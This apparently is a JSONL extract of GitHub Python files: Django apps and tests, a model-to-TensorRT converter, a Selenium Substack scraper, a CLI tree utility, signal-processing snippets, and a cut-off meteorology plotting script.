as e:  # Catch any exceptions related to the execution of the SQL query\n                print(f\"An error occurred while inserting data into the sessions table: {e}\")\n\n\n    # Commit the transaction\n    connection.commit()\n\n# Close the cursor and the connection to the database\ncursor.close()\nconnection.close()\n","repo_name":"neilrohra14/Williams","sub_path":"load-data.py","file_name":"load-data.py","file_ext":"py","file_size_in_byte":5260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30823401441","text":"from django.urls import path\nfrom .views import index, product_detail, get_products_by_category , product_list , search\n\napp_name = \"product\"\n\nurlpatterns = [\n    path(\"\", index, name=\"index\"),\n    path(\"product/<int:pk>/<str:slug>/\", product_detail, name=\"detail\"),\n    path(\"product/<str:category>/\", get_products_by_category, name=\"pr_ct_list\"),\n    path(\"products/list/<str:category>/\", product_list, name=\"product_list\"),\n    path(\"products/search/\", search, name=\"search\"),\n]\n","repo_name":"alirahmnicode/e-commerce-","sub_path":"product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6322095969","text":"##default : Dynamic Batch\nimport argparse\nimport tensorflow as tf\nimport os\nimport re\nfrom functools import reduce\nfrom tensorflow.python.framework.convert_to_constants import convert_variables_to_constants_v2\n\n\n\ndef convert_h5to_pb(h5Path,pbPath):\n    model = tf.keras.models.load_model(h5Path,compile=False)\n    # model.summary()\n    full_model = tf.function(lambda Input: model(Input))\n    full_model = full_model.get_concrete_function(tf.TensorSpec(model.inputs[0].shape, model.inputs[0].dtype))\n\n    # Get frozen ConcreteFunction\n    frozen_func = convert_variables_to_constants_v2(full_model)   \n    #frozen_func = tf.compat.v1.graph_util.convert_variables_to_constants(full_model)\n    frozen_func.graph.as_graph_def()\n\n    layers = [op.name for op in frozen_func.graph.get_operations()]\n    # print(\"-\" * 50)\n    # print(\"Frozen model layers: \")\n    # for layer in layers:\n    #     print(layer)\n\n    # print(\"-\" * 50)\n    # print(\"Frozen model inputs: \")\n    # print(frozen_func.inputs)\n    # print(\"Frozen model outputs: \")\n    # print(frozen_func.outputs)\n\n    # Save frozen graph from frozen ConcreteFunction to hard drive\n    tf.io.write_graph(graph_or_graph_def=frozen_func.graph,\n                      logdir=pbPath[:pbPath.rfind(r\"/\")],\n                      name=pbPath[pbPath.rfind(r\"/\")+1:],\n                      as_text=False)\n    ipsN,opsN=str(frozen_func.inputs[0]),str(frozen_func.outputs[0])\n    # print(ipsN)\n    # print(opsN)\n    inputNodeName=ipsN[ipsN.find(\"\\\"\")+1:ipsN.find(\":\")]\n    outputNodeName=opsN[opsN.find(\"\\\"\")+1:opsN.find(\":\")]\n    # print(inputNodeName)\n    # print(outputNodeName)\n    inputShapeK=ipsN[ipsN.find(\"=(\")+2:ipsN.find(\"),\")] \n    inputShapeF=re.findall(r\"\\d+\\.?\\d*\",inputShapeK)\n    inputShape=reduce(lambda x, y: x + 'x' + y, inputShapeF)\n    # print(inputShape)\n\n    return inputNodeName,outputNodeName,inputShape\n\n\ndef convert_hdf5_to_trt(model_type, work_dir, model_name, afsmode_Idx, workspace='3072', optBatch='20', maxBatch='100'):\n    if model_type=='HRRP':\n        hdfPath = work_dir+\"/model/\"+model_name+\".hdf5\"\n    elif model_type=='AFS':\n        hdfPath = work_dir+\"/model/\"+model_name+\"_feature_\"+afsmode_Idx+\".hdf5\"\n    elif model_type=='FewShot':\n        hdfPath = work_dir+\"/model/\"+model_name+\".hdf5\"\n    pbPath  = work_dir+\"/model/temp.pb\"\n    oxPath  = work_dir+\"/model/temp.onnx\"\n    trtPath = work_dir+\"/\"+model_name+\"_feature_\"+afsmode_Idx+\".trt\"\n    \n    try:\n        inputNodeName,outputNodeName,inputShape=convert_h5to_pb(hdfPath,pbPath)\n        #pb converto onnx\n        '''python -m tf2onnx.convert  --input temp.pb --inputs Input:0 --outputs Identity:0 --output temp.onnx --opset 11'''\n        os.system(\"python -m tf2onnx.convert  --input \"+pbPath+\" --inputs \"+inputNodeName+\":0 --outputs \"+outputNodeName+\":0 --output \"+oxPath+\" --opset 11\")\n        #onnx converto trt\n        '''trtexec --explicitBatch --workspace=3072  --minShapes=Input:0:1x128x64x1 --optShapes=Input:0:20x128x64x1 --maxShapes=Input:0:100x128x64x1 --onnx=temp.onnx --saveEngine=temp.trt --fp16'''\n        os.system(\"trtexec --onnx=\"+oxPath+\" --saveEngine=\"+trtPath+\" --workspace=\"+workspace+\" --minShapes=Input:0:1x\"+inputShape+\\\n        \" --optShapes=Input:0:\"+optBatch+\"x\"+inputShape+\" --maxShapes=Input:0:\"+maxBatch+\"x\"+str(inputShape)+\" --fp16\")\n    except Exception as e:\n        print(e)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='Train a detector')\n    parser.add_argument('--model_type', help='the directory of the training data',default=\"HRRP\")\n    parser.add_argument('--work_dir', help='the directory of the training data',default=\"../../db/trainLogs\")\n    parser.add_argument('--model_name', help='the directory of the training data',default=\"model\")\n    parser.add_argument('--afsmode_Idx', help='the model index that be choosed one ',default=\"39\")\n    args = parser.parse_args()\n\n    convert_hdf5_to_trt(args.model_type, args.work_dir, args.model_name, args.afsmode_Idx)","repo_name":"jjRen-xd/GUI207_V2.0","sub_path":"api/bashs/hdf52trt.py","file_name":"hdf52trt.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"25435901793","text":"import os\nimport yaml\n\n\ndef read_yaml(yaml_path):\n    with open(yaml_path, 'r') as f:\n        yaml_file = yaml.load(f, Loader=yaml.Loader)\n    return yaml_file\n\n\ndef mkdir(path):\n    if not os.path.exists(path):\n        return os.makedirs(path)\n\n\ndef mkdirs(paths):\n    if isinstance(paths, list) and not isinstance(paths, str):\n        for path in paths:\n            mkdir(path)\n    else:\n        mkdir(paths)\n\n\ndef path_exists(path):\n    if os.path.exists(path):\n        return True\n    else:\n        raise ValueError('Path provided does not exist.')\n","repo_name":"jsalbert/biotorch","sub_path":"biotorch/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"60"}
+{"seq_id":"32195637694","text":"import time\r\nimport requests\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support.wait import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nimport csv\r\n\r\ndef substack_post_scraper(url):\r\n\r\n    #Open website\r\n    browser = webdriver.Chrome()\r\n    browser.get(url)\r\n\r\n    #Sign in\r\n    email = input('What is your Substack sign-in email?')\r\n    password = input('What is your password?')\r\n    signin = browser.find_element_by_css_selector('#main > div.main-menu.animated.with-nav > div.main-menu-content > div > div.topbar-content > div.navbar-buttons > button.button.sign-in-link.outline-grayscale')\r\n    signin.click()\r\n    browser.find_element_by_name('email').send_keys(email)\r\n    signinwithemail = browser.find_element_by_css_selector('#substack-login > div.substack-login__body > div.substack-login__form > form > div:nth-child(5) > span > a')\r\n    signinwithemail.click()\r\n    browser.find_element_by_name('password').send_keys(password)\r\n    signin2 = browser.find_element_by_css_selector('#substack-login > div.substack-login__body > div.substack-login__form > form > div:nth-child(6) > button')\r\n    signin2.click()\r\n    time.sleep(5)\r\n\r\n    #Infinite scroll\r\n    last_height = browser.execute_script(\"return document.body.scrollHeight\")\r\n    x = 0\r\n    while x < 1000000:\r\n        x += 1\r\n        time.sleep(7)\r\n        browser.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n        new_height = browser.execute_script(\"return document.body.scrollHeight\")\r\n        if new_height == last_height:\r\n            break\r\n        last_height = new_height\r\n\r\n    #Setup csv files (doing 2 files: file1 is for the post itself; file 2 is for the comments\r\n    file1 = open(input('Name the file for post content data'), 'w')\r\n    writer1 = csv.writer(file1)\r\n    writer1.writerow(['Post Link', 'Post Content', 'Word Count'])\r\n\r\n    file2 = open(input('Name the file for post comment data'), 'w')\r\n    writer2 = csv.writer(file2)\r\n    writer2.writerow(['Post Link', 'Commenter', 'Comment', 'Commenter Writes'])\r\n\r\n#Scrape post\r\nlinksraw = browser.find_elements_by_css_selector('a.post-preview-description')\r\nlinks = []\r\nfor link in linksraw:\r\n    links.append(link.get_attribute('href'))\r\n\r\nfor link in links:\r\n    browser.get(link)\r\n    try:\r\n        post_content_raw = browser.find_element_by_css_selector('div.available-content > div').text\r\n        wordcount = len(post_content.replace(',', '').split())\r\n    except:\r\n        try:\r\n            post_content_raw = browser.find_element_by_css_selector('td > div').text\r\n            wordcount = len(post_content.replace(',', '').split())\r\n        except:\r\n            post_content_raw = browser.find_element_by_class_name('body markup').text\r\n            wordcount = len(post_content.replace(',', '').split())\r\n    try:\r\n        writer1.writerow([link, post_content, wordcount])\r\n    except:\r\n        writer1.writerow([link.encode('utf-8'), post_content.encode('utf-8'), wordcount])\r\n    try:\r\n        comment_link_raw = browser.find_element_by_css_selector('div > div.single-post-section.comments-section > div.container > a')\r\n        comment_link = comment_link_raw.get_attribute('href')\r\n    except:\r\n        comment_link = None\r\n    #Scrape post comments\r\n    try:\r\n        browser.get(comment_link)\r\n    except:\r\n        pass\r\n    time.sleep(2)\r\n    comments = browser.find_elements_by_css_selector('div.comment-list > div > div')\r\n    for comment in comments:\r\n        try:\r\n            commenter = comment.find_element_by_css_selector('td.comment-rest > div.comment-meta > span').text\r\n        except:\r\n            commenter = \"Error\"\r\n        try:\r\n            actual_comment = comment.find_element_by_class_name('comment-body').text\r\n        except:\r\n            actual_comment = \"Error\"\r\n        try:\r\n            commenter_writes = comment.find_element_by_css_selector('a.commenter-publication > span').text\r\n        except:\r\n            commenter_writes = ''\r\n        try:\r\n            writer2.writerow([link, commenter, actual_comment, commenter_writes])\r\n        except:\r\n            writer2.writerow([link.encode('utf-8'), commenter.encode('utf-8'), actual_comment.encode('utf-8'), commenter_writes.encode('utf-8')])\r\n\r\ndata = substack_scraper(input('Put in the archive link of the writer you want to scrape?'))\r\n","repo_name":"randydongshi/Substack-Web-Scraper","sub_path":"General Substack Post Scraper.py","file_name":"General Substack Post Scraper.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1966257136","text":"\"\"\"\nA few utility functions for various low-pass filter trials\n\"\"\"\nimport platform\nimport sys\n\nimport GPUtil\nimport numpy as np\nimport psutil\nfrom merklelib import MerkleTree\n\n\ndef normalize_signal(series):\n    \"\"\"\n    Normalises the input series\n    :param series: The input series\n    :return: Normalised input series\n    \"\"\"\n    # amean = np.mean(series)\n    astd = np.std(series)\n    series /= astd\n    return series\n\n\ndef correlate(series_a, series_b):\n    \"\"\"\n    Computes the cross correlation between two series\n    :param series_a:\n    :param series_b:\n    :return: The cross-correlation between the two input series\n    \"\"\"\n    return np.absolute(np.correlate(series_a, series_b, mode='valid') / len(series_a))\n\n\ndef find_loaded_modules():\n    \"\"\"\n    :return: A list of all loaded modules\n    \"\"\"\n    loaded_mods = []\n    for name, module in sorted(sys.modules.items()):\n        if hasattr(module, '__version__'):\n            loaded_mods.append(name + \" \" + str(module.__version__))\n        else:\n            loaded_mods.append(name)\n    return loaded_mods\n\n\ndef system_summary():\n    \"\"\"\n    Summarises the system this function is run on.\n    Includes system, cpu, gpu and module details\n    :return: A dictionary of system details\n    \"\"\"\n    merkletree = MerkleTree()\n    system_info = {}\n    uname = platform.uname()\n    system_info['system'] = {\n        'system': uname.system,\n        'release': uname.release,\n        'machine': uname.machine,\n        'processor': uname.processor\n    }\n    cpu_freq = psutil.cpu_freq()\n    system_info['cpu'] = {\n        'cores_phys': psutil.cpu_count(logical=False),\n        'cores_logic': psutil.cpu_count(logical=True),\n        'max_frequency': cpu_freq.max,\n        'min_frequency': cpu_freq.min\n    }\n    sys_mem = psutil.virtual_memory()\n    system_info['memory'] = {\n        'total': sys_mem.total\n    }\n    gpus = GPUtil.getGPUs()\n    system_info['gpu'] = {}\n    for gpu in gpus:\n        system_info['gpu'][gpu.id] = {\n            'name': gpu.name,\n            'memory': gpu.memoryTotal\n        }\n    system_info['modules'] = find_loaded_modules()\n    merkletree.append([system_info[item] for item in system_info])\n    system_info['signature'] = merkletree.merkle_root\n    return system_info\n","repo_name":"pritchardn/simplelowpass","sub_path":"src/postProcessing/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"13074534124","text":"import unittest\nfrom CSVextractor import XmlManager as XM\n\nclass MyTestCase(unittest.TestCase):\n    def setUp(self):\n        self.xmlfile = 'Testfiles/testfile.xml'\n        with open('Testfiles/12345678901.csv') as f:\n            self.csvfile1 = ['12345678901', f.read()]\n            f.close()\n        with open('Testfiles/98765432109.csv') as f:\n            self.csvfile2 = ['98765432109', f.read()]\n            f.close()\n\n    def test_matchesOutput(self):\n        self.assertEqual(self.csvfile1[1], XM().tostring(self.xmlfile, 0))\n        self.assertEqual(self.csvfile2[1], XM().tostring(self.xmlfile, 1))\n\n    def test_correctNames(self):\n        self.assertEqual(self.csvfile1[0], XM().extractcsvdata(self.xmlfile)[0][0])\n        self.assertEqual(self.csvfile2[0], XM().extractcsvdata(self.xmlfile)[1][0])\n\n    #def testIncorrectFormatting(self):\n    #    self.assertEqual(True, False)\n    #\n    # def test_incorrectEndFormat(self):\n    #     self.assertEqual(True, False)\n    #\n    # def test_whitespacesAndTabs(self):\n    #     self.assertEqual(True, False)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"Theguysayhi/CSV-files-out-from-XML","sub_path":"unitTests.py","file_name":"unitTests.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71248595072","text":"\"\"\"\r\nThis module enables CLI tree management.\r\n\"\"\"\r\n\r\n__author__ = \"Lovel Rishi\"\r\n__copyright__ = \"Copyright (c) 2019, Lovel Rishi\"\r\n__license__ = \"GPL-3.0\"\r\n__version__ = \"1.0.0\"\r\n__maintainer__ = \"Lovel Rishi\"\r\n__email__ = \"lovelrishi@outlook.com\"\r\n__status__ = \"Development\"\r\n\r\nfrom PyCli.api.exceptions import PyCliTypeError\r\n\r\nclass PyCliTree():\r\n    \"\"\" CLI Tree provider \"\"\"\r\n    __tree_root = {\"this\": None, \"children\": {}}\r\n\r\n    def __init__(self):\r\n        pass\r\n\r\n    def __str__(self):\r\n        retstr = \"+--[ROOT>\\n\"\r\n        indent = \"   \"\r\n        return retstr + self.__tree_str(self.__tree_root[\"children\"], indent)\r\n\r\n    def __tree_str(self, root, indent):\r\n        retstr = \"\"\r\n        for child in root.keys():\r\n            retstr += (indent + \"+--[\" + child +\r\n                       \"%s>\\n\" % (\"\\u2190\\u2190\" if (root[child][\"this\"] and \\\r\n                           root[child][\"this\"].data_execute is not None) else \">\"))\r\n            retstr += self.__tree_str(root[child][\"children\"], indent + \"   \")\r\n        return retstr\r\n\r\n    def auto_complete(self, tokens):\r\n        \"\"\" Return complete CLI command from short commands \"\"\"\r\n        cpt = self.__tree_root[\"children\"]\r\n        curr_cli = \"\"\r\n        matched = False\r\n        nois = False\r\n        flag = True\r\n        if not tokens:\r\n            return curr_cli\r\n        if tokens[0] in (\"no\"):\r\n            curr_cli += \" no\"\r\n            nois = True\r\n            tokens.pop(0)\r\n\r\n        for token in tokens:\r\n            if matched is True:\r\n                curr_cli += \" %s\" % token\r\n                continue\r\n            ntkns = [key for key in cpt.keys() if key.startswith(token)]\r\n            if not ntkns or len(ntkns) > 1:\r\n                matched = True\r\n                curr_cli += \" %s\" % token\r\n                continue\r\n            if nois is True and flag is True and cpt[ntkns[0]][\"this\"].data_nois is False:\r\n                matched = True\r\n                curr_cli += \" %s\" % token\r\n                continue\r\n            flag = False\r\n            curr_cli += \" %s\" % ntkns[0]\r\n            cpt = cpt[ntkns[0]][\"children\"]\r\n        if curr_cli != \"\":\r\n            curr_cli = curr_cli[1:]\r\n        curr_cli += \" \"\r\n        return curr_cli\r\n\r\n    def find_executable(self, tokens, nois):\r\n        \"\"\" Find executable leaf/bud from CLI tokens \"\"\"\r\n        cpt = self.__tree_root[\"children\"]\r\n        cptt = self.__tree_root[\"this\"]\r\n        flag = nois\r\n        for token in tokens:\r\n            if token not in cpt.keys():\r\n                return None\r\n            if flag is True:\r\n                flag = False\r\n                if cpt[token][\"this\"].data_nois is False:\r\n                    return None\r\n            cptt = cpt[token][\"this\"]\r\n            cpt = cpt[token][\"children\"]\r\n        return (cptt.data_execute, cptt.data_type, nois)\r\n\r\n    def find_all_help(self, tokens, nois=False, regex=False):\r\n        \"\"\" Find all helps at given bud/leaf from CLI tokens \"\"\"\r\n        cpt = self.__tree_root[\"children\"]\r\n        cptt = self.__tree_root[\"this\"]\r\n        flag = nois\r\n        tlen = len(tokens)\r\n        idx = 0\r\n        for token in tokens:\r\n            if token not in cpt.keys():\r\n                if regex is True and idx == tlen - 1:\r\n                    break\r\n                else:\r\n                    return None\r\n            if flag is True:\r\n                flag = False\r\n                if nois is True and not cpt[token][\"this\"].data_nois:\r\n                    return None\r\n            cptt = cpt[token][\"this\"]\r\n            cpt = cpt[token][\"children\"]\r\n            idx += 1\r\n        retlist = []\r\n        for lpt in cpt.keys():\r\n            if regex is True and idx == tlen - 1:\r\n                if not lpt.startswith(tokens[idx]):\r\n                    continue\r\n            if flag is True:\r\n                if cpt[lpt][\"this\"].data_nois is False:\r\n                    continue\r\n            retlist.append({\"name\": lpt, \"help\": cpt[lpt][\"this\"].data_help})\r\n        if cptt and cptt.data_execute is not None:\r\n            retlist.append({\"name\": \"<cr>\", \"help\": \"Press return to execute command\"})\r\n        return retlist\r\n\r\n    def _attach_node(self, node):\r\n        \"\"\" Attach a new node to CLI tree \"\"\"\r\n        lpt = node.data_link\r\n        if len(lpt) == 1 and lpt[0] == '':\r\n            if node.data_name not in self.__tree_root:\r\n                self.__tree_root[\"children\"][node.data_name] = {}\r\n                self.__tree_root[\"children\"][node.data_name][\"children\"] = {}\r\n            self.__tree_root[\"children\"][node.data_name][\"this\"] = node\r\n        else:\r\n            cpt = self.__tree_root\r\n            for lpt in node.data_link:\r\n                if lpt not in cpt[\"children\"]:\r\n                    cpt[\"children\"][lpt] = {}\r\n                    cpt[\"children\"][lpt][\"this\"] = None\r\n                    cpt[\"children\"][lpt][\"children\"] = {}\r\n                cpt = cpt[\"children\"][lpt]\r\n            cpt[\"children\"][node.data_name] = {}\r\n            cpt[\"children\"][node.data_name][\"children\"] = {}\r\n            cpt[\"children\"][node.data_name][\"this\"] = node\r\n\r\n    def attach(self, nodes):\r\n        \"\"\" Attach multiple nodes to CLI tree \"\"\"\r\n        if not isinstance(nodes, list):\r\n            raise PyCliTypeError(\"nodes\", list)\r\n\r\n        for node in nodes:\r\n            self._attach_node(node)\r\n\r\n    @staticmethod\r\n    def quick_ut():\r\n        \"\"\" Quickly test PyCliTree \"\"\"\r\n        from PyCli.api.parser import PyCliParser\r\n        pcp = PyCliParser(\".\")\r\n        nodes = pcp.parse(pcp.find())\r\n        tree = PyCliTree()\r\n        tree.attach(nodes)\r\n        print(tree)\r\n","repo_name":"lrishi/PyCli","sub_path":"api/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":5617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32725874519","text":"from twitterclone.twitteruser.models import TwitterUser\nfrom django.utils.html import format_html, html_safe\nfrom django.urls import reverse_lazy\nfrom django.shortcuts import get_object_or_404, render\n\n\ndef get_mentioned_users(message):\n    user_handles = TwitterUser.objects.values_list(\"handle\", flat=True)\n    message_list = message.split(\" \")\n    notified_users = []\n    new_message = []\n    for word in message_list:\n\n        if word.startswith(\"@\") and word[1:] in user_handles:\n            notified_user = get_object_or_404(TwitterUser, handle=word[1:])\n            notified_users.append(notified_user)\n\n            new_word = format_html(\n                '<a href=\"{}\">@{}</a>',\n                reverse_lazy(\"userdetail\", args=[notified_user.id]),\n                notified_user.handle,\n            )\n\n            new_message.append(new_word)\n\n        else:\n            new_message.append(word)\n\n    new_message = \" \".join(new_message)\n    if len(notified_users) >= 1:\n        return (notified_users, new_message)\n    else:\n        return (None, new_message)\n\n\ndef format_body_with_mention(body):\n    user_handles = TwitterUser.objects.values_list(\"handle\", flat=True)\n    message_list = message.split(\" \")\n    for word in message_list:\n        if word.startswith(\"@\"):\n            if word[1:] in user_handles:\n                notified_user = get_object_or_404(TwitterUser, handle=word[1:])\n                return notified_user\n    return False\n","repo_name":"jakerjohnson94/twitterclone","sub_path":"twitterclone/tweet/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"71132178112","text":"import pywt\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# x = np.arange(512)\n# y = np.sin(2*np.pi*x/32)\n# coef, freqs=pywt.cwt(y,np.arange(1,129),'gaus1')\n#\n# plt.matshow(coef)\n# plt.title(\"Spektrum gauss wavelet transzformációval\")\n# plt.show()\n\nt = np.linspace(-1, 1, 200, endpoint=False)\nsig = np.cos(2 * np.pi * 7 * t) + np.real(np.exp(-7 * (t - 0.4) ** 2) * np.exp(1j * 2 * np.pi * 2 * (t - 0.4)))\nwidths = np.arange(1, 31)\ncwtmatr, freqs = pywt.dwt(sig, widths, 'haar')\nplt.imshow(cwtmatr, extent=[-1, 1, 1, 31], cmap='PRGn', aspect='auto',\n           vmax = abs(cwtmatr).max(), vmin = -abs(cwtmatr).max())\nplt.title(\"Spektrum morlet transzformációval\")\nplt.show()\n\nwavlist = pywt.wavelist(kind='discrete')\nprint(wavlist)","repo_name":"andinagy/Diploma-dolgozat","sub_path":"jelek/wavelet.py","file_name":"wavelet.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"21291951503","text":"\"\"\"Tests for views app posts.\"\"\"\nfrom django.contrib.auth import get_user_model\nfrom django.test import Client, TestCase\nfrom django.urls import reverse\n\nfrom ..models import Group, Post\nfrom ..views import PAGES_NUMBER\n\nUser = get_user_model()\n\n\nclass PostsViewsTests(TestCase):\n    @classmethod\n    def setUpClass(cls):\n        super().setUpClass()\n        cls.user = User.objects.create_user(username='user')\n        cls.group = Group.objects.create(\n            title='group',\n            slug='slug',\n            description='description',\n        )\n        cls.group_without_post = Group.objects.create(\n            title='group without post',\n            slug='slug_without_post',\n            description='description group without post',\n        )\n        cls.post = Post.objects.create(\n            author=cls.user,\n            text='post',\n            group=cls.group,\n        )\n\n    def setUp(self):\n        self.author_client = Client()\n        self.author_client.force_login(PostsViewsTests.post.author)\n\n    def test_views(self):\n        \"\"\"When use attr name correcponding tempalte HTML is used.\"\"\"\n        templates_url_names = {\n            'posts/index.html': reverse('posts:index'),\n            'posts/group_list.html': reverse(\n                'posts:group_list', kwargs={'slug': 'slug'}\n            ),\n            'posts/profile.html': reverse(\n                'posts:profile', kwargs={'username': 'user'}\n            ),\n            'posts/post_detail.html': reverse(\n                'posts:post_detail', kwargs={'post_id': f'{self.post.id}'}\n            ),\n            'posts/post_create.html': reverse('posts:post_create'),\n            'post_edit': reverse(\n                'posts:post_edit', kwargs={'post_id': f'{self.post.id}'}\n            ),\n        }\n        for template, address in templates_url_names.items():\n            with self.subTest(address=address):\n                response = self.author_client.get(address)\n                if address == f'/posts/{self.post.id}/edit/':\n                    self.assertTemplateUsed(response, 'posts/post_create.html')\n                else:\n                    self.assertTemplateUsed(response, template)\n\n    def test_index_gr_list_profile_post_det_correct_context(self):\n        \"\"\"Templates index, group_list, profile, post_detail\n        have correct context.\"\"\"\n        templates_url_names = {\n            'posts/index.html': reverse('posts:index'),\n            'posts/group_list.html': reverse(\n                'posts:group_list', kwargs={'slug': 'slug'}\n            ),\n            'posts/profile.html': reverse(\n                'posts:profile', kwargs={'username': 'user'}\n            ),\n            'posts/post_detail.html': reverse(\n                'posts:post_detail', kwargs={'post_id': f'{self.post.id}'}\n            ),\n        }\n\n        for address in templates_url_names.values():\n            with self.subTest(address=address):\n                response = (self.author_client.get(address))\n                self.assertEqual(\n                    response.context['post'].group.title, self.post.group.title\n                )\n                self.assertEqual(\n                    response.context['post'].author, self.post.author\n                )\n                self.assertEqual(response.context['post'].text, self.post.text)\n\n    def test_post_appears_index_group_list_profile(self):\n        \"\"\"Post of one group didn't appear in another one. \"\"\"\n        response = (self.author_client.get(reverse(\n            'posts:group_list', kwargs={'slug': 'slug_without_post'}\n        )))\n        self.assertNotIn(self.post, response.context.get('group').posts.all())\n\n\nclass PaginatorViewsTest(TestCase):\n    \"\"\"Paginator testing for index, profile, group_list\"\"\"\n    @classmethod\n    def setUpClass(cls):\n        super().setUpClass()\n        cls.user = User.objects.create_user(username='username')\n        cls.group = Group.objects.create(\n            title='group',\n            slug='slug',\n            description='description',\n        )\n        cls.postlist = []\n\n        for i in range(PAGES_NUMBER + 1):\n            cls.postlist.append(Post.objects.create(\n                text=f'Test_post{i}',\n                group=cls.group,\n                author=cls.user))\n\n    def setUp(self):\n        self.author_client = Client()\n        self.author_client.force_login(self.user)\n\n    def test_first_page_contains_ten_records(self):\n        \"\"\"The number of posts at first page\n        is equal PAGES_NUMBER.\"\"\"\n        templates_url_names = {\n            'posts/index.html': reverse('posts:index'),\n            'posts/group_list.html': reverse(\n                'posts:group_list', kwargs={'slug': 'slug'}\n            ),\n            'posts/profile.html': reverse(\n                'posts:profile', kwargs={'username': 'username'}\n            ),\n        }\n        for address in templates_url_names.values():\n            with self.subTest(address=address):\n                response = (self.author_client.get(address))\n                self.assertEqual(len(\n                    response.context['page_obj']), PAGES_NUMBER)\n\n    def test_second_page_contains_three_records(self):\n        \"\"\"Assert: at second page must be one post.\"\"\"\n        templates_url_names = {\n            'posts/index.html': reverse('posts:index'),\n            'posts/group_list.html': reverse(\n                'posts:group_list', kwargs={'slug': 'slug'}\n            ),\n            'posts/profile.html': reverse(\n                'posts:profile', kwargs={'username': 'username'}\n            ),\n        }\n        for address in templates_url_names.values():\n            with self.subTest(address=address):\n                response = self.author_client.get((address) + '?page=2')\n                self.assertEqual(len(response.context['page_obj']), 1)\n","repo_name":"nat1905/TheBookDiplom","sub_path":"thebook/posts/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":5794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26201596775","text":"'''\r\n实习四：是利用同一套资料计算\r\n（1）流函数和势函数；\r\n（2）水汽通量和水汽通量散度；\r\n（3）水汽流函数和水汽势函数。\r\n2021/11/7\r\n'''\r\n\r\nimport cartopy.crs as ccrs\r\nimport cartopy.feature as cfeature\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.ticker as mticker\r\nimport metpy.calc as mpcalc\r\nimport metpy.constants\r\nimport numpy as np  # 调用 numpy\r\nimport pandas as pd\r\nfrom cartopy.io.shapereader import Reader\r\nfrom cartopy.mpl.gridliner import LONGITUDE_FORMATTER, LATITUDE_FORMATTER\r\n\r\n\r\ndef createmap():\r\n    ###################################地图设置##########################\r\n    fig = plt.figure(figsize=(9, 6), dpi=150)  # 画布大小\r\n    ax = fig.subplots(1, 1,\r\n                      subplot_kw={'projection': ccrs.LambertConformal(central_longitude=105, central_latitude=30)})\r\n    ax.add_feature(cfeature.COASTLINE.with_scale('50m'))\r\n    ax.add_geometries(Reader('D:\\\\maplist\\\\China_province\\\\bou2_4l.shp').geometries(), ccrs.PlateCarree(),\r\n                      facecolor='none', edgecolor='gray', linewidth=0.8)  ###添加省界\r\n    ax.add_geometries(Reader('D:\\\\maplist\\\\zhengzhou\\\\郑州市.shp').geometries(), ccrs.PlateCarree(),\r\n                      facecolor='none', edgecolor='r', linewidth=0.8)  ###添加郑州市界\r\n    Lam = ax.gridlines(draw_labels=True, linestyle=':', linewidth=0.3, x_inline=False, y_inline=False, color='k')\r\n    Lam.top_labels = True  ##打开上面的经纬度标签\r\n    Lam.right_labels = False  ###关闭右边\r\n    Lam.xformatter = LONGITUDE_FORMATTER\r\n    Lam.yformatter = LATITUDE_FORMATTER\r\n    Lam.xlocator = mticker.FixedLocator(np.arange(0, 180, 10))\r\n    Lam.ylocator = mticker.FixedLocator(np.arange(10, 80, 10))\r\n    Lam.xlabel_style = {'size': 7}\r\n    Lam.ylabel_style = {'size': 7}\r\n    ax.set_extent([60, 135, 10, 70], ccrs.PlateCarree())  ## 调整图片大小在画布中\r\n\r\n    return ax, fig\r\n\r\n\r\nshi_han_shu = np.load(r'D:\\python\\tianzhen\\shixi3_4\\势函数.npy')\r\nc = np.zeros((24, 12, 29, 73))\r\nb = np.array(shi_han_shu)\r\nfor h_i in range(12):\r\n    for t_i in range(24):\r\n        c[t_i, h_i, :, :] = b[t_i, h_i, :, :].T\r\n\r\nlons = np.arange(0, 181, 2.5)\r\nlats = np.arange(10, 81, 2.5)\r\nlon, lat = np.meshgrid(lons, lats)\r\n\r\nfor h_i in range(12):\r\n    for t_i in range(24):\r\n        ax, fig = createmap()\r\n        colorbar = ax.contourf(lon, lat, c[t_i, h_i, :, :], cmap='Spectral', transform=ccrs.PlateCarree())\r\n        plt.colorbar(colorbar, extendrect='True', pad=0.03, fraction=0.04, shrink=1)\r\n        name = 'D:\\\\python\\\\tianzhen\\\\shixi3_4\\\\ex4\\\\势函数\\\\' + str(h_i) + 